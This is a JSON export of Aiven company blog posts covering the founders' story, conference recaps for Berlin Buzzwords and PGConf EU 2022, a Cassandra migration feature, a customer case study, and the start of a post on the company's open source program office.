{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"1r1LXVaHBSxFSR1w3eJKuY","_rev":"V5UdSzFEWrLT7ZlMFNm2Bp","_type":"post","_updatedAt":"2023-06-19T08:30:58Z","authors":[{"_key":"5X56DMMpbvqaUWfT7pf8Bi","_ref":"5X56DMMpbvqaUWfT7pf8Bi","_type":"reference"}],"body":"I’m a self-taught programmer. When I started out I just wanted to build things, often without a clear plan, and learn while doing so. Open source allowed me to do that. It not only provided the tools, but also access to the thought processes of the people who were building this cutting edge technology. \n\nIn the late 80s my dad, who used Sun workstations in his research, introduced me to Unix; and later in the 90s we heard about Linux, which was new, free and worked on home computers. That’s when I started to learn more about open source software, but back then I was a consumer, not a contributor.\n\nWhen the web came around, I had been a hobbyist programmer for years, writing little software utilities and games for my own amusement. I was just finishing high school when I first started using relational databases and learned about SQL. I was working for my friend’s company, where I sat in front of an SGI O2 workstation and built very early dynamic websites. In most projects we used the proprietary Solid database. I wanted to create my own websites, but proprietary databases were out of my reach, so I started looking for free software alternatives. \n\n\u003e \"Back then I was a consumer, not a contributor.\"\n\nIn 1999, a friend of mine introduced me to PostgreSQL. I’ve been working on it, and with it, ever since.\n\nBack then, open source communities and projects often revolved around a small group of people whose personalities and interests defined those communities. Most of the projects worked through mailing lists where change proposals were debated. Patches by new contributors rarely made it through on the first try. \n\nThis was sometimes discouraging for first time contributors, but taking part taught me a lot. It also felt pretty exciting when your patch was finally integrated and you saw your name in the changelog of a new release. \n\n\u003e \"Open source not only provided the tools, but also access to the thought processes of the people who were building this cutting edge technology.\"\n\nToday, open source is more widely accepted and more successful than ever before, and a great variety of companies have used it to create valuable things. But the world of technology and software is always changing, and the companies built on open source face a new challenge: the cloud is becoming the de facto standard deployment environment for all kinds of applications. Some companies have reacted by turning their backs on the open source community, which is a shortsighted move by them. I believe that open source will survive these changes and keep thriving.\n\nDuring the 2000s I watched with Hannu \\[Valtonen] and Mika \\[Eloranta], both of whom I met at F-Secure, as AWS grew in popularity and Google Cloud and Microsoft Azure emerged. And we drew our own conclusions: in the future all applications would be built in the cloud, where you can define all parts of an application’s lifetime in terms of software. \n\nEventually, we three left F-Secure to start a new company. We helped organizations in the Nordics to get the most out of PostgreSQL and other open source database engines. \n\n![Oskari-inline-image1](//cdn.sanity.io/images/sczeoy4w/production/dcac382d6a30b20fcb2c915c6a08e05c220149b2-1567x844.jpg \"The founders at Slush\")\n\nIn 2015 we decided to stop doing consulting gigs and started working on a new idea: a multi-cloud data platform that would productize our expertise on PostgreSQL and other open source technologies. In this we were joined by Heikki \\[Nousiainen] whom I’d known since high school and who had signed me on to F-Secure years ago. We wanted to put Kafka at the core of everything because it allowed for such a clean and neat architecture, but when we tried we quickly learned how supremely difficult it is to operate. So we decided to also offer it as a service to future Aiven customers. Looking back, that turned out to be a very good decision.\n\n\u003e \"We started Aiven to build something we would have loved to use ourselves.\"\n\nWe started Aiven to build something we would have loved to use ourselves in our previous projects. We wanted to make a service that allows developers to worry less and get more stuff done. \n\nWhen we started building Aiven, we followed three core principles: Work hard to create simple solutions for complex problems. Automate everything. Hire the best people.\n\nWe’re still doing all that, but we’ve gone from four founders with an idea to a thriving globally distributed company of 140, working with developers across an awesome variety of organizations using software to build meaningful things. \n\nWith the fresh Series C round of funding, we’ll be able to take Aiven even further. We’ve always been fans of open source at Aiven, and as we’ve grown and become more successful, we’ve become more and more dependent on open source projects and communities. Our own contributions have mostly been occasional stabs at scratching our immediate itches, but now we finally have the resources to significantly step up our contributions. \n\nWe already reward our employees for contributions to open source projects, but we want to do more. We’re now building an open source office at Aiven that will be launching new open source projects and contributing significantly to the key projects we work with. We’re already receiving applications for these positions. I’m very excited to see where this open road will take us!\n\n![Plain sailing](//cdn.sanity.io/images/sczeoy4w/production/0eaa2296c8d6521302d83e88ecdde01af49d2964-1567x844.jpg \"The Aiven crew is ready to set sail!\")\n\n*To learn more about Aiven’s Series C funding round, see [our announcement post](https://aiven.io/press/aiven-raises-usd100m-series-c-to-expand-global-open-source-innovation \"Aiven raises USD100M Series C to expand global open source innovation\"). The [Aiven \u003c3 Open Source](https://aiven.io/open-source) page tells you about our OS contributions. And we’re always looking for new talent to join us in our exciting journey, so please have a look at our [Careers](https://aiven.io/careers) page to see if there’s anything you’d like to help us with!*\n\n--\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-140ac6dc045183d281b7d518122536af80ab0889-1567x844-png","_type":"reference"}},"publishedAt":"2021-03-23T00:00:00.000Z","seo":{"metaDescription":"Since 2017, Aiven has grown from zero to a global company with 140 employees and a valuation of over $800M. Join me in reliving some of that story.","metaImage":{"alt":"","asset":{"_ref":"image-140ac6dc045183d281b7d518122536af80ab0889-1567x844-png","_type":"reference"}},"metaTitle":"Building Aiven from zero to $800M - a letter from our CEO"},"slug":{"_type":"slug","current":"/blog/building-aiven-from-zero-to-usd800m-a-letter-from-our-ceo"},"subtitle":"Since 2017, Aiven has grown from zero to a global company with 140 employees and a valuation of over $800M. Join me in reliving some of that story.","title":"Building Aiven from zero to $800M - a letter from our CEO"} {"__i18n_lang":"en","_createdAt":"2022-06-25T01:00:19Z","_id":"56pIm9KpwAESabH8TohrTO","_rev":"CK1sLU2mnwa3vmbYWEePHw","_type":"post","_updatedAt":"2022-09-08T16:31:17Z","authors":[{"_key":"5JCxTNOGlqEWGCJILDlrdc","_ref":"5JCxTNOGlqEWGCJILDlrdc","_type":"reference"}],"body":"Last week, some of the Aiven team and I had the pleasure of meeting the developer community in person at [Berlin Buzzwords 2022](https://2022.berlinbuzzwords.de/ \"Berlin Buzzwords 2022\"). As always, the conference was packed with great content and people from all over the world, so personally, I was quite torn between the sessions and the expo hall! Thankfully, some of my colleagues kindly shared their highlights with me, so keep reading for a recap of our favorite talks. \n\n## Stream\nThere were lots of great streaming talks and I’m excited to start off with the one by our wonderful Developer Advocate, Olena Kutsenko. If you’re curious about Apache Kafka and how it works, Olena’s session “[Apache Kafka® simply explained](https://www.youtube.com/watch?v=3yHwdsOr4HQ \"Apache Kafka® simply explained \")” is a great way to start, with a very entertaining example that you can also [check out on GitHub](https://github.com/anelook/kafka-first-steps \"GitHub example\"). \n\nSpeaking of Apache Kafka®, [Amrit Sarkar’s session](https://www.youtube.com/watch?v=F50ieoWLv_s\u0026list=PLq-odUc2x7i8eaYHVXSOadHrVE9tEU2QR\u0026index=7 \"Amrti Sarkar's session\") is worth checking out to dive into metrics and indicators that matter most while running Kafka at scale. For those who are struggling with scaling Kafka pipelines, [this talk by Opher Dubrovsky and Ido Nadler](https://www.youtube.com/watch?v=MP3tM5Ip5Pk \"this talk by Opher Dubrovsky and Ido Nadler\") could come in handy.\n\nChristoph Schubert did [a comprehensive introduction of the Kafka Streams architecture](https://www.youtube.com/watch?v=e3Ww-0Gs8O0\u0026list=PLq-odUc2x7i8eaYHVXSOadHrVE9tEU2QR\u0026index=41 \"a comprehensive introduction of the Kafka Streams architecture\") and talked about best practices for running your Kafka Streams application smoothly in production. And if you’re a fan of Apache Flink® (I know we are!), [this talk by Timo Walther](https://www.youtube.com/watch?v=iRlLaY-P6iE\u0026list=PLq-odUc2x7i8eaYHVXSOadHrVE9tEU2QR\u0026index=9 \"this talk by Timo Walther\") gives a really good overview of the stream processing framework and its capabilities. \n\nIt was also interesting to learn more about Apache Druid®, which is an open source analytics database for modern data-intensive applications, and luckily, [Sergio Ferragut gave a great introduction](https://www.youtube.com/watch?v=0Ql3Zideawg\u0026list=PLq-odUc2x7i8eaYHVXSOadHrVE9tEU2QR\u0026index=43 \"Sergio Ferragut gave a great introduction\") to its architecture. (Shameless plug: there will also be another opportunity to hear [Sergio speak about Apache Druid® at Uptime](https://uptime.aiven.io/session/322788 \"Sergio speak about Apache Druid® at Uptime\")!)\n\n## Scale\n“A smart person learns from their own mistakes, but a truly wise person learns from the mistakes of others.” A great theme for a talk! Noaa Barki shared some [lessons and recurring patterns her team learned from reviewing 100+ Kubernetes post-mortems](https://www.youtube.com/watch?v=XUnDV69V0n0\u0026list=PLq-odUc2x7i8eaYHVXSOadHrVE9tEU2QR\u0026index=6 \"lessons and recurring patterns her team learned from reviewing 100+ Kubernetes post-mortems\"), so you can avoid those. \n\nAnother interesting Kubernetes use case was shared by Ramiro Alvarez Fernandez, Álvaro Panizo, and Daniel Hernández Alfageme. The Empathy.co team [showed how they migrated from a cluster in the cloud to Kubernetes](https://www.youtube.com/watch?v=wK01Fpp6L6k\u0026list=PLq-odUc2x7i8eaYHVXSOadHrVE9tEU2QR\u0026index=39 \"showed how they migrated from a cluster in the cloud to Kubernetes\"), with some actual figures on cost and performance. \n\nFor some great advice and strategies for validating large systems, we recommend checking out “[Effective CI/CD for Large Systems](https://www.youtube.com/watch?v=TJcTIhEH_8w\u0026list=PLq-odUc2x7i8eaYHVXSOadHrVE9tEU2QR\u0026index=47 \"Effective CI/CD for Large Systems\")” by Josh Reed. Not only because Josh is our colleague, but also because this talk is just plain useful when testing large systems, integrating new changes, and ensuring good code quality.\n\n## Search\nOne of the highlights for our team was the chance to meet the OpenSearch and Apache Lucene® folks in person and hear some great talks about these technologies! Uwe Schindler talked about [the future of Lucene's MMapDirectory](https://pretalx.com/bbuzz22/talk/WYC9ZB/ \"the future of Lucene's MMapDirectory\"), which is a very strong and specific technical subject, but with a nice overview of memory mapped files from the ground up in Java. Eli Fisher talked about [how search engine technologies, like OpenSearch®, and their features have evolved to be adopted for many other use cases](https://pretalx.com/bbuzz22/talk/MP9BBT/ \"how search engine technologies, like OpenSearch®, and their features have evolved to be adopted for many other use cases\"), e.g. log analytics, security analytics, and more.\n\nIf you’re curious about some other interesting search engine examples, [Atita Arora introduced the Vespa architecture](https://www.youtube.com/watch?v=_ML-QB0Zxvg\u0026list=PLq-odUc2x7i8eaYHVXSOadHrVE9tEU2QR\u0026index=29 \"Atita Arora introduced the Vespa architecture\"), its advanced features, and how to generally understand Vespa with a fresh or Lucene-based mindset. It’s also worth checking out [Richard Goodman’s talk about using Apache Solr® unconventionally to serve 26bn+ documents](https://www.youtube.com/watch?v=tr4XYE2r0dE\u0026list=PLq-odUc2x7i8eaYHVXSOadHrVE9tEU2QR\u0026index=17 \"Richard Goodman’s talk about using Apache Solr® unconventionally to serve 26bn+ documents\"). \n\n## Store\nFor those of you who are excited about all the different OLAP solutions out there, [Chinmay Soman’s talk about Apache Pinot®](https://www.youtube.com/watch?v=yM_bkT5U9ww\u0026list=PLq-odUc2x7i8eaYHVXSOadHrVE9tEU2QR\u0026index=55 \"Chinmay Soman’s talk about Apache Pinot®\") could be interesting to check out. Chinmay goes over Pinot’s capabilities and what makes it a unique OLAP platform. \n\nIt was quite interesting to [hear about OpenTelemetry](https://www.youtube.com/watch?v=QfDU4XSWwhU\u0026list=PLq-odUc2x7i8eaYHVXSOadHrVE9tEU2QR\u0026index=50 \"hear about OpenTelemetry\") (which will also be covered at [Uptime](https://uptime.aiven.io/session/325010 \"Uptime\")!) and how it allows the creation of custom metrics in a standard, scalable, and reusable way from [Ricardo Ferreira](https://pretalx.com/bbuzz22/talk/DNPKX8/ \"Ricardo Ferreira\"). \n\nFans of PostgreSQL® (hi!) will enjoy [this engaging session by our colleague Francesco Tisiot](https://www.youtube.com/watch?v=njvH3I39Dv0\u0026list=PLq-odUc2x7i8eaYHVXSOadHrVE9tEU2QR\u0026index=49 \"this engaging session by our colleague Francesco Tisiot\"). Francesco explains how recursion works in PostgreSQL with an interesting example of solving the knapsack problem. \n\n*Session recordings are already available to binge-watch in the [Berlin Buzzwords 2022 YouTube playlist](https://www.youtube.com/watch?v=oTZyGkG4uTA\u0026list=PLq-odUc2x7i8eaYHVXSOadHrVE9tEU2QR \"Berlin Buzzwords 2022 YouTube playlist\").*\n","categories":[{"_key":"55hnoBwSNkFBrvJaZvuhgt","_ref":"55hnoBwSNkFBrvJaZvuhgt","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"alt":"","asset":{"_ref":"image-d16e9efef6bf4b760f0318b3aab2fb01270397dc-1567x844-png","_type":"reference"}},"publishedAt":"2022-06-23T00:00:00.000Z","seo":{"metaDescription":"Our team was thrilled to be back in person at Berlin Buzzwords 2022. Read on for a recap of our favourites on storing, processing, streaming and searching data.","metaImage":{"alt":"","asset":{"_ref":"image-d16e9efef6bf4b760f0318b3aab2fb01270397dc-1567x844-png","_type":"reference"}},"metaTitle":"Highlights from Berlin Buzzwords 2022"},"slug":{"_type":"slug","current":"/blog/highlights-from-berlin-buzzwords-2022"},"subtitle":"Our team was thrilled to be back in person at Berlin Buzzwords 2022. Read on for a recap of our favourites on storing, processing, streaming and searching data.","title":"Highlights from Berlin Buzzwords 2022"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"31KO0a4ngqFD8DZLjKKkti","_rev":"4DA7uzMe7PWND6MELryftU","_type":"post","_updatedAt":"2022-10-25T08:40:21Z","authors":[{"_key":"4DjXzyNMHRsU8hEQ2fIG4i","_ref":"4DjXzyNMHRsU8hEQ2fIG4i","_type":"reference"}],"body":"Aiven now supports sstableloader, an open source utility which allows you to easily migrate all of the data from your external Apache Cassandra instances into a managed Aiven for Apache Cassandra cluster. Sstableloader allows this seamless migration by [bulk-loading data](https://help.aiven.io/en/articles/3147884-using-sstableloader-to-migrate-your-existing-cassandra-cluster-to-aiven) from remote SSTables into an Aiven for Apache Cassandra cluster via the target nodes’ internode ports.\n\n## How sstableloader works\nAn SStable is a persistent, immutable file format where your Apache Cassandra data is stored. It is created when fast memory stores called memtables are flushed to disk. Sstableloader works by first connecting to the new Cassandra cluster to determine which nodes of the target cluster should receive which rows, then uploading the SSTable data to the target nodes.\n\n![migrating cassandra into aiven using sstableloader](https://cdn.sanity.io/images/sczeoy4w/production/24188ee23b4832f0cf0b0fe133401d07d7f4d532-2000x1125.png)\n\n\nThis data upload - called streaming - is implemented as a command line client using the same Java code the Cassandra service uses internally to replicate data between cluster nodes, connecting to the Cassandra internode port to achieve a more efficient way to transfer large amounts of data.\n\nClients cannot normally connect to this internode port, and Aiven requires sstableloader to connect with SSL through client certificates to secure access. As a result, large clusters for which inserting the source cluster's data row by row with CQL would take unfeasibly long can now be migrated.\n\n## Wrapping up\nWith sstableloader, you now have the industry standard for bulk data loading into Apache Cassandra which makes migrating your full data pipeline to Aiven that much simpler.\n\n\u003e You can find the [complete procedure](https://help.aiven.io/en/articles/3147884-using-sstableloader-to-migrate-your-existing-cassandra-cluster-to-aiven) here.\n\nWe’re always adding more features to the Aiven platform, so stay up to date with our [blog](/blog/feed.xml) and [changelog](/changelog/feed.xml) RSS feeds, or follow us on [Twitter](https://twitter.com/aiven_io) and [LinkedIn](https://www.linkedin.com/company/aiven/).\n","categories":[{"_key":"SDuPFTXa2dgBEl8OCxZRn","_ref":"SDuPFTXa2dgBEl8OCxZRn","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-e39b3fa7fa1d871663e79de4a34bc4b862df9f9a-1567x844-png","_type":"reference"}},"publishedAt":"2019-07-31T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"You can now simply and quickly migrate your external Apache Cassandra® data into Aiven using sstableloader; learn about the specifics in this post.","metaImage":{"alt":"","asset":{"_ref":"image-e39b3fa7fa1d871663e79de4a34bc4b862df9f9a-1567x844-png","_type":"reference"}},"metaTitle":"Migrate your Apache Cassandra® data into Aiven with sstableloader"},"slug":{"_type":"slug","current":"/blog/aiven-now-supports-sstableloader"},"subtitle":"Find out how to simply and quickly migrate your external Apache Cassandra® data into Aiven using sstableloader.","title":"Migrate your Apache Cassandra® data into Aiven with sstableloader"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"7ckc9NYvYgOTps1yiT2Vbk","_rev":"4DA7uzMe7PWND6MELryuf0","_type":"post","_updatedAt":"2022-10-25T08:42:09Z","authors":[{"_key":"4DjXzyNMHRsU8hEQ2fIG4i","_ref":"4DjXzyNMHRsU8hEQ2fIG4i","_type":"reference"}],"body":"With 114,000 employees across 32 companies in 15 countries, ADEO is the third largest global player in the home improvement market with over 450 million customers from more than 700 stores around the world. \n\nFounded in 1986, the ADEO group has evolved from a loosely-federated collection of independent stores to a conglomerate powered by a single data platform requiring the sort of tight integration that enables comprehensive insights.\n\nAlthough the databases and middleware team still supports thousands of on-premise database instances, they now use Aiven's hosted services (including Apache Kafka, PostgreSQL, Elasticsearch/OpenSearch, MySQL and Redis) to provide database and messaging services to internal users across the company. Their head, Julien Charlot, explains: \n\n\u003e I don't want to manage infrastructure anymore, so the role of our team nowadays is to make it easier to go to the cloud. It’s more that we want our tech guys to get rid of infrastructure tasks and be able to focus on dev and added value actions. \n\nBut that isn’t the only reason ADEO group enjoys Aiven's hosted services. Download the case study below to find out why else and how they transformed their data capabilities at scale using the Aiven platform.\n\n::banner{ctaText=\"Read case study\" ctaLink=\"/case-studies/aiven-cloud-helps-adeo\" title=\"Find out more about how ADEO transformed their data capabilities at scale using the Aiven platform.\"}\n\nTo see more Aiven case study summaries, check out the [Aiven case studies](https://aiven.io/case-studies) page. And don’t forget to subscribe to our [changelog](https://aiven.io/changelog/feed.xml) and [blog](https://aiven.io/blog/feed.xml) RSS feeds, or follow us on [Linkedin](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io).\n","categories":[{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"},{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-4970ecc4d6ad9a32c0370493af852fa991d5dc63-752x405-png","_type":"reference"}},"publishedAt":"2020-02-03T00:00:00.000Z","seo":{"metaDescription":"Find out how and why the third largest global player in the home improvement market use Aiven.","metaImage":{"alt":"","asset":{"_ref":"image-4970ecc4d6ad9a32c0370493af852fa991d5dc63-752x405-png","_type":"reference"}},"metaTitle":"Adeo takes development speed to new level with Aiven [Case Study]"},"slug":{"_type":"slug","current":"/blog/adeo-and-aiven-case-study"},"subtitle":"Find out how and why the third largest global player in the home improvement market use Aiven.","title":"Adeo takes development speed to new level with Aiven [Case Study]"} {"__i18n_lang":"en","_createdAt":"2022-11-03T08:24:35Z","_id":"0f535739-8443-49d6-89b1-c9d898799ad5","_rev":"OSa4Of7leLeKOMRysnpzo0","_type":"post","_updatedAt":"2023-06-08T08:12:28Z","authors":[{"_key":"ad83127a6687","_ref":"5JCxTNOGlqEWGCJILDlrdc","_type":"reference"},{"_key":"f4488456fb76","_ref":"3dImkQse2fXRL7zTLzAoa1","_type":"reference"},{"_key":"a0b3e9d435c6","_ref":"5NzxBK7UvFN976uA2uGF66","_type":"reference"}],"body":"It’s been a busy events season for our team so far! And of course, we couldn’t miss out on the 12th annual PostgreSQL Conference in Europe that took place on October 25-28 in Berlin, Germany. Our team ventured out to meet the Postgres community (in-person, for the first time in a while!), give talks, and participate in exciting discussions around PostgreSQL® use cases and latest developments. In case you didn’t attend the event or already miss the best moments, we’ve picked out our favorite sessions below, listed in chronological order! \n\n### Trends in the PostgreSQL® community\n\nTechnical events like PGConf EU are typically packed with in-depth content that helps us discover trends and understand the inner workings of the tool. Discussions about advanced observability, performance improvements and tooling proliferated in and out of the session rooms.\n\nPostgreSQL® extensions deserve a special shoutout! We continuously see new ones being added or improved, making developers and DBAs lives easier in terms of functionality, backups or migration.\n\nOne specific trend we observed about the PostgreSQL® community: the number of active users, participants in public forums, and contributors is steadily increasing. Activities like [Google Summer of Code](https://www.postgresql.eu/events/pgconfeu2022/schedule/session/3889-gsoc-2022-overview/) are helping a wider audience get involved in PostgreSQL®, providing the project with a fresh and innovative pair of eyes and hands.\n\n### Keynote: Efficient Graph Analysis with SQL/PGQ\nIt wouldn’t be an event recap if we didn’t start with a keynote, would it? Luckily, the keynote at PG Conf EU 2022 was exceptional! Peter Boncz kicked off the conference with an [interesting discussion](https://www.postgresql.eu/events/pgconfeu2022/schedule/session/4072-efficient-graph-analysis-with-sqlpgq/) on efficient analytical and graph queries in relational database systems. Specifically, he deep dived into SQL/PGQ, which will add property graph query support in the upcoming SQL:2023 standard. \n\n![Packed audience watching keynote speech](https://cdn.sanity.io/images/sczeoy4w/production/314ebdfc4f8d1aed7a6d3b4c623f30ebbf2f89ac-1286x644.png)\n\nOn a similar subject, our Senior Developer Advocate, Francesco Tisiot, showed how valuable a graph data approach can be for managing service metadata, and how PostgreSQL® recursive queries can help us with that. This is part of the metadata parser project, which is open source and available on [GitHub](https://github.com/aiven/metadata-parser).\n\n### BRIN Improvements and new opclasses\n[Tomas Vondra’s talk on BRIN](https://www.postgresql.eu/events/pgconfeu2022/schedule/session/3864-brin-improvements-and-new-opclasses/) (Block Range Index) gave us some really interesting insights. Firstly, Tomas explained how BRIN indexes work to those who are new to them, and then proceeded to share the recent features that came out in PostgreSQL® 14, specifically the minmax-multi and bloom opclasses - those are clever tricks to make BRIN indexes more useful! Naturally, Tomas ended the talk with a demo and discussion on the future ideas for improving the indexes even more. We hope many of you will look into this area of PostgreSQL® and contribute with your ideas! \n\n### PostgreSQL® at GitLab.com\nFor those who are hungry for some PostgreSQL® use cases, [the one presented by Alexander Sosna and Jose Finotto from GitLab](https://www.postgresql.eu/events/pgconfeu2022/schedule/session/3832-postgresql-at-gitlabcom/) was totally worth listening to. Alexander and Jose particularly focused on the specific problems with monitoring and how PostgreSQL® statements such as `pgexporters` and `pg_stats` can be used for monitoring. \n\n![Audience watching GitLab speaker present](https://cdn.sanity.io/images/sczeoy4w/production/69acfc2b7e21edc5fc0ebe1c1340e30af55de980-1282x814.png)\n\nIf you’ve listened to their [PGConf.DE 2022 talk](https://www.postgresql.eu/events/pgconfde2022/schedule/session/3759-postgresql-at-gitlabcom/), you might be interested to know the outcome of the in-flight decomposition project where they took a huge database and were able to divide workloads and serve them in appropriately sized instances.\n\n### Party tricks for PostgreSQL®: `perf`, `ftrace` and `bpftrace`\n[Dmitrii Dolgov walked us through a very fast-paced tour](https://www.postgresql.eu/events/pgconfeu2022/schedule/session/3861-party-tricks-for-postgresql-perf-ftrace-and-bpftrace/) of the possibilities offered by `perf`, `bpftrace` and `ftrace`. Those tools can be seen as low-level magic, but Dmitrii demonstrated simple one-liners and explained how they work, including a presentation of the kernel infrastructure. \n\nBeing able to captivate an audience with such an in-depth yet fast-paced technical talk is quite a feat, and this was probably one of the most compelling talks for our team! (Presumably, we’re biased since our PostgreSQL® Developer, Ronan Dunklau, [talked about the same tools](https://www.postgresql.eu/events/pgconfeu2022/schedule/session/3926-building-a-perf-like-tool-for-postgresql/) on the last conference day 😉).\n\n### Neon, cloud-native storage backend for PostgreSQL®\nWe were curious to listen to [Heikki Linnakangas’ technical presentation](https://www.postgresql.eu/events/pgconfeu2022/schedule/session/3934-neon-cloud-native-storage-backend-for-postgresql/) on the differences between his new product, Neon, and PostgreSQL®. Neon can be seen as an open-source competitor to Aurora, and it offers very unique features such as immediate branching and flashback queries. For the sake of keeping it short, we won’t get into an in-depth architectural overview here (although it was interesting to hear!). What we found particularly fascinating was the way Neon stores and indexes WALs, which makes it possible to rebuild any block at any point in time! This can potentially serve some great use cases, such as restoring only specific blocks, speeding up the backup and/or recovery process, and more.\n\n### MVCC Unmasked\nIf you didn’t know about MVCC (multiversion concurrency control) before, [Bruce Momjian's talk](https://www.postgresql.eu/events/pgconfeu2022/schedule/session/3789-mvcc-unmasked/) was particularly helpful as it explored one of the most fundamental architectural decisions of PostgreSQL®. A good chunk of the talk was dedicated to the basics of MVCC, which despite being a complex topic Bruce managed to make palatable to the audience, taking questions as he went. Bruce finished the talk by explaining briefly how the more complicated parts of MVCC work (`cmin`, `cmax`, HOT updates, `VACUUM`) but keeping his very entertaining tone. We recommend checking out the [slides](https://momjian.us/main/writings/pgsql/mvcc.pdf) to learn more. \n\n### Implementing failover of logical replication slots in Patroni\n[This talk by Alexander Kukushkin](https://www.postgresql.eu/events/pgconfeu2022/schedule/session/3990-implementing-failover-of-logical-replication-slots-in-patroni/) presented a nice trick, which is that all the infrastructure for maintaining logical replication slots on a standby is already here! It’s a hidden PostgreSQL® feature, in the sense that it’s not properly documented and it doesn’t provide you with any way of creating the logical replication slot, but it proves to be really useful in high availability scenarios.\n\n### Full Page Writes in PostgreSQL® - Critical, Evil or Both - Why you should care and how to optimize\n[Grant McAlister provided us with an extensive set of benchmark results](https://www.postgresql.eu/events/pgconfeu2022/schedule/session/3950-full-page-writes-in-postgresql-critical-evil-or-both-why-you-should-care-and-how-to-optimize/) showing how different PostgreSQL® tuning parameters can reduce the amount of full page writes, and how they can be detrimental to the overall performance of the system. One of the most interesting things he mentioned was how full page writes tend to have some sort of snowball effect, with more of them generating more WAL entries, which in turn tends to trigger checkpointing more often, which in turn makes full page writes more likely.\n\n### Reach a wider audience with your PostgreSQL content\nHow can you provide a service to the ENTIRE PostgreSQL community during a talk? Ask Claire Giordano. In “[How to make your Postgres blog posts reach a ton more people](https://www.postgresql.eu/events/pgconfeu2022/schedule/session/3980-how-to-make-your-postgres-blog-posts-reach-a-ton-more-people/)“ she shared tips, checklist and, in general, food for thought on how little details can get a piece of content to a wider audience.\n\n### Honorable mentions\nThe three days of conference were packed with excellent technical content, all about PostgreSQL®. Naturally, we couldn’t include everything, but it’d be a shame not to mention the breakfast organized by [Postgres Women](https://twitter.com/PostgresWomen). Aiven was one of the sponsors this year and we were lucky to meet some amazing women in the Postgres community! \n\nIt was also great to see some more familiar faces at the event. Some of the recent Uptime speakers also presented at this Postgres conference, so shout out to [Henrietta Dombrovskaya](https://www.postgresql.eu/events/pgconfeu2022/schedule/session/3831-changelog-vs-two-dimensional-time-what-works-better/), [Karen Jex](https://www.postgresql.eu/events/pgconfeu2022/schedule/session/3820-unlocking-open-data-using-an-open-source-database/), [Kirk Roybal](https://www.postgresql.eu/events/pgconfeu2022/schedule/session/3820-unlocking-open-data-using-an-open-source-database/)! \n\nSadly, the conference talks weren’t recorded, but the slides are already available for almost every talk - be sure to check them out. We’ll be looking forward to the next PGConf EU event, so until next time!\n","categories":[{"_key":"c97c2ef67208","_ref":"55hnoBwSNkFBrvJaZvuhgt","_type":"reference"},{"_key":"846f65959faf","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"}],"internalBlogProcess":"technical","mainImage":{"_type":"mainImage","alt":"Text says \"PGConf EU 2022 in a nutshell\". And there's a picture of a happy elephant.","asset":{"_ref":"image-b2c53069e6f8b2735762db20a1500dbe124df3fc-3133x1688-png","_type":"reference"}},"publishedAt":"2022-11-03T08:22:00.000Z","seo":{"_type":"metaData","metaDescription":"The 12th annual PostgreSQL® conference took place on Oct 25-28 in Berlin. Learn about trends and latest developments in the Postgres community in this recap.","metaImage":{"_type":"mainImage","alt":"Text says \"PGConf EU 2022 in a nutshell\". And there's a picture of a happy elephant.","asset":{"_ref":"image-b2c53069e6f8b2735762db20a1500dbe124df3fc-3133x1688-png","_type":"reference"}},"metaTitle":"PG Conf EU 2022 in a nutshell | Key highlights | Aiven"},"slug":{"_type":"slug","current":"/blog/pg-conf-eu-2022-in-a-nutshell"},"subtitle":"PG Conf EU 2022 was a blast! Our team wrote this recap highlighting our favorite sessions and trends in the PostgreSQL® community we observed. ","title":"PG Conf EU 2022 in a nutshell"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:39Z","_id":"41CJPFxYD9orHdvISHink9","_rev":"RAyRTsSFAoDoj6Nvfq2kIx","_type":"post","_updatedAt":"2022-11-25T09:00:09Z","authors":[{"_key":"6kbIS9XcSGAirsTtwXqhdf","_ref":"6kbIS9XcSGAirsTtwXqhdf","_type":"reference"}],"body":"# Open Source Program Office at Aiven: A year later\n\nA year ago, Aiven raised [$100M in a series C investment round](https://aiven.io/press/aiven-raises-usd100m-series-c-to-expand-global-open-source-innovation) which put the company valuation around $800M, and recently achieved a $2B unicorn valuation having raised $210M total funding. One of the important reasons for raising that round was to increase our impact in the Open Source communities.\n\nOne of our first actions was to create the Open Source Program Office (OSPO for short), a department whose work is exclusively dedicated to contributing to open source projects. The team went from just a pair of people to double the size several times, always growing at a sustainable pace.\n\n## Why OSPO?\n\nThe mission of Aiven's OSPO is simple:\n\n\u003e Ensure the sustainability and secure the future of the Open Source Software infrastructure Aiven uses.\n\nAiven has always contributed back to open source, since the very early days when Aiven consisted of four founders only. Contributing to upstream OSS projects was the most normal thing to do, it was nothing special or something to discuss, and patches were always to be contributed back. As Aiven continued to grow, this part of the culture stayed, but at the same time, it became apparent that keeping a constant stream of contributions to upstream projects while delivering a successful product was challenging.\n\nWith the creation of a dedicated team, we wanted to ensure that our commitment remains at the level that the key OSS projects in our infrastructure deserve.\n\n## What does the OSPO do?\n\nEach member of the OSPO team focuses on a specific project, for example, Apache Kafka®, Apache Flink®, PostgreSQL®, M3, or OpenSearch®, among others. But the OSPO members are not the only ones contributing upstream, every single person at Aiven is welcomed and encouraged to do so.\n\nAiven's OSPO team has responsibilities in three main areas:\n\n* Contribute to OSS projects\n* Foster an OSS culture within Aiven\n* Ensure legal compliance\n\n### Contribute to 3rd party OSS projects\n\nThis is where the team spends most of its time. Each team member can decide the tasks and focus areas; the only criteria is the impact on the community. Their contributions are not limited to the core products, but any project in their ecosystem 